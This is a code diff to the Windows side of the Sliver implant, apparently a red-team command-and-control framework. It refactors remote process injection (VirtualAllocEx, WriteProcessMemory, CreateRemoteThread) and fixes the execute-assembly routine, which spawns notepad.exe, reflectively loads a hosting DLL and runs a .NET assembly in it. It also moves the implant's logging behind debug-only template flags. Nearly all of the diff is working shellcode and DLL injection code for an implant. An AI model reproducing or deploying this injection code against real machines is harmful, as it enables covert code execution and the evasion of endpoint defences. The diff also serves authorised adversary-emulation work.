fb9387bce3..4f9e8f1ea4 100644 --- a/sliver/handlers_windows.go +++ b/sliver/handlers_windows.go @@ -74,7 +74,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) { // {{end}} return } - output, err := taskrunner.ExecuteAssembly(execReq.Assembly, execReq.HostingDll, execReq.Arguments, execReq.Timeout) + output, err := taskrunner.ExecuteAssembly(execReq.HostingDll, execReq.Assembly, execReq.Arguments, execReq.Timeout) strErr := "" if err != nil { strErr = err.Error() diff --git a/sliver/taskrunner/task_windows.go b/sliver/taskrunner/task_windows.go index 7932b7fc74..2ba5f3017b 100644 --- a/sliver/taskrunner/task_windows.go +++ b/sliver/taskrunner/task_windows.go @@ -6,8 +6,8 @@ import ( "io" "os" "os/exec" + "runtime" "syscall" - "time" "unsafe" // {{if .Debug}} @@ -24,17 +24,63 @@ const ( ) var ( - kernel32 = syscall.MustLoadDLL("kernel32.dll") - virtualAlloc = kernel32.MustFindProc("VirtualAlloc") - virtualAllocEx = kernel32.MustFindProc("VirtualAllocEx") - writeProcessMemory = kernel32.MustFindProc("WriteProcessMemory") - createRemoteThread = kernel32.MustFindProc("CreateRemoteThread") - createThread = kernel32.MustFindProc("CreateThread") + kernel32 = syscall.MustLoadDLL("kernel32.dll") + procVirtualAlloc = kernel32.MustFindProc("VirtualAlloc") + procVirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx") + procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory") + procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread") + procCreateThread = kernel32.MustFindProc("CreateThread") ) +func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) { + r1, _, e1 := procVirtualAllocEx.Call( + uintptr(process), + addr, + uintptr(size), + uintptr(allocType), + uintptr(protect)) + + if int(r1) == 0 { + return r1, os.NewSyscallError("VirtualAllocEx", e1) + } + return r1, nil +} + +func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) { + var nLength uint32 + r1, _, e1 := procWriteProcessMemory.Call( + uintptr(process), + addr, + uintptr(buf), + uintptr(size), + uintptr(unsafe.Pointer(&nLength))) + + if int(r1) == 0 { + return nLength, os.NewSyscallError("WriteProcessMemory", e1) + } + return nLength, nil +} + +func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) { + var threadID uint32 + r1, _, e1 := procCreateRemoteThread.Call( + uintptr(process), + uintptr(unsafe.Pointer(sa)), + uintptr(stackSize), + startAddress, + parameter, + uintptr(creationFlags), + uintptr(unsafe.Pointer(&threadID))) + runtime.KeepAlive(sa) + if int(r1) == 0 { + return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1) + } + return syscall.Handle(r1), threadID, nil +} + func sysAlloc(size int) (uintptr, error) { n := uintptr(size) - addr, _, err := virtualAlloc.Call(0, n, MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) + addr, _, err := procVirtualAlloc.Call(0, n, MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) if addr == 0 { return 0, err } @@ -60,7 +106,7 @@ func injectTask(processHandle syscall.Handle, data []byte) error { // {{if .Debug}} log.Println("creating native data buffer ...") // {{end}} - dataAddr, _, err := virtualAlloc.Call(0, ptr(dataSize), MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) + dataAddr, _, err := procVirtualAlloc.Call(0, ptr(dataSize), MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) if dataAddr == 0 { return err } @@ -73,11 +119,11 @@ func injectTask(processHandle syscall.Handle, data []byte) error { // {{if .Debug}} log.Println("allocating remote process memory ...") // {{end}} - remoteAddr, _, err := virtualAllocEx.Call(uintptr(processHandle), 0, ptr(dataSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) + remoteAddr, err := virtualAllocEx(processHandle, 0, uint32(dataSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) // {{if .Debug}} log.Printf("virtualallocex returned: remoteAddr = %v, err = %v", remoteAddr, err) // {{end}} - if remoteAddr == 0 { + if err != nil { // {{if .Debug}} log.Println("[!] failed to allocate remote process memory") // {{end}} @@ -85,11 +131,11 @@ func injectTask(processHandle syscall.Handle, data []byte) error { } // Write the shellcode into the remotely allocated buffer - writeMemorySuccess, _, err := writeProcessMemory.Call(uintptr(processHandle), uintptr(remoteAddr), uintptr(dataAddr), ptr(dataSize), 0) + writeMemorySuccess, err := writeProcessMemory(processHandle, remoteAddr, unsafe.Pointer(dataAddr), uint32(dataSize)) // {{if .Debug}} log.Printf("writeprocessmemory returned: writeMemorySuccess = %v, err = %v", writeMemorySuccess, err) // {{end}} - if writeMemorySuccess == 0 { + if err != nil { // {{if .Debug}} log.Printf("[!] failed to write data into remote process") // {{end}} @@ -100,11 +146,12 @@ func injectTask(processHandle syscall.Handle, data []byte) error { // {{if .Debug}} log.Println("successfully injected data, starting remote thread ....") // {{end}} - createThreadSuccess, _, err := createRemoteThread.Call(uintptr(processHandle), 0, 0, uintptr(remoteAddr), 0, 0, 0) + attr := new(syscall.SecurityAttributes) + createThreadSuccess, _, err := createRemoteThread(processHandle, attr, 0, uintptr(remoteAddr), 0, 0) // {{if .Debug}} log.Printf("createremotethread returned: createThreadSuccess = %v, err = %v", createThreadSuccess, err) // {{end}} - if createThreadSuccess == 0 { + if err != nil { // {{if .Debug}} log.Printf("[!] failed to create remote thread") // {{end}} @@ -136,11 +183,15 @@ func LocalTask(data []byte) error { // {{if .Debug}} log.Printf("creating local thread with start address: 0x%08x", addr) // {{end}} - _, _, err := createThread.Call(0, 0, addr, 0, 0, 0) + _, _, err := procCreateThread.Call(0, 0, addr, 0, 0, 0) return err } func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32) (string, error) { + // {{if .Debug}} + log.Println("[*] Assembly size:", len(assembly)) + log.Println("[*] Hosting dll size:", len(hostingDll)) + // {{end}} if len(assembly) > MAX_ASSEMBLY_LENGTH { return "", fmt.Errorf("please use an assembly smaller than %d", MAX_ASSEMBLY_LENGTH) } @@ -153,39 +204,35 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32) stderrIn, _ := cmd.StderrPipe() var errStdout, errStderr error - stdout := io.MultiWriter(os.Stdout, &stdoutBuf) - stderr := io.MultiWriter(os.Stderr, &stderrBuf) - go cmd.Run() - time.Sleep(time.Second * 3) + cmd.Start() + defer cmd.Process.Kill() pid := cmd.Process.Pid - log.Println("[*] Process started, pid =", cmd.Process.Pid) + // {{if .Debug}} + log.Println("[*] notepad.exe started, pid =", pid) + // {{end}} // OpenProcess with PROC_ACCESS_ALL handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid)) if err != nil { return "", err } - log.Println("[*] Allocating space for reflective DLL") // VirtualAllocEx to allocate a new memory segment into the target process - dllSize := len(hostingDll) - hostingDllAddr, _, err := virtualAllocEx.Call(uintptr(handle), 0, ptr(dllSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) - if hostingDllAddr == 0 { - log.Println("VirtualAllocEx failed") + hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) + if err != nil { return "", err } - log.Println("[*] Calling WriteProcessMemory...") // WriteProcessMemory to write the reflective loader into the process - success, _, err := writeProcessMemory.Call(uintptr(handle), uintptr(hostingDllAddr), uintptr(unsafe.Pointer(&hostingDll[0])), ptr(dllSize)) - if success == 0 { - log.Println("WriteProcessMemory failed") + _, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll))) + if err != nil { return "", err } + // {{if .Debug}} log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr) + // {{end}} // Total size to allocate = assembly size + 1024 bytes for the args - totalSize := int(MAX_ASSEMBLY_LENGTH) + totalSize := uint32(MAX_ASSEMBLY_LENGTH) // VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args - assemblyAddr, _, err := virtualAllocEx.Call(uintptr(handle), 0, ptr(totalSize), MEM_COMMIT, syscall.PAGE_READWRITE) - if assemblyAddr == 0 { - log.Println("VirtualAllocEx failed") + assemblyAddr, err := virtualAllocEx(handle, 0, totalSize, MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE) + if err != nil { return "", err } // Padd arguments with 0x00 -- there must be a cleaner way to do that @@ -194,33 +241,33 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32) final := append(paramsBytes, padding...) // Final payload: params + assembly final = append(final, assembly...) - finalSize := len(final) // WriteProcessMemory to write the .NET assembly + args - success, _, err = writeProcessMemory.Call(uintptr(handle), uintptr(assemblyAddr), uintptr(unsafe.Pointer(&final[0])), ptr(finalSize)) - if success == 0 { + _, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&final[0]), uint32(len(final))) + if err != nil { return "", err } + // {{if .Debug}} log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(final), assemblyAddr) + // {{end}} // CreateRemoteThread(DLL addr + offset, assembly addr) - success, _, err = createRemoteThread.Call(uintptr(handle), 0, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0) - if success == 0 { + attr := new(syscall.SecurityAttributes) + _, _, err = createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0) + if err != nil { return "", err } go func() { - _, errStdout = io.Copy(stdout, stdoutIn) + _, errStdout = io.Copy(&stdoutBuf, stdoutIn) }() - _, errStderr = io.Copy(stderr, stderrIn) + _, errStderr = io.Copy(&stderrBuf, stderrIn) if errStdout != nil || errStderr != nil { log.Fatal("failed to capture stdout or stderr\n") } - log.Printf("Sleeping for %d seconds\n", timeout-20) - time.Sleep(time.Second * time.Duration(timeout-20)) - outStr, errStr := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes()) - if len(errStr) > 1 { - return "", fmt.Errorf(errStr) - } - log.Println("EXECUTE ASSEMBLY FINISHED", outStr) + outStr, _ := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes()) + // {{if .Debug}} + log.Println("[*] Output:") + log.Println(outStr) + // {{end}} return outStr, nil }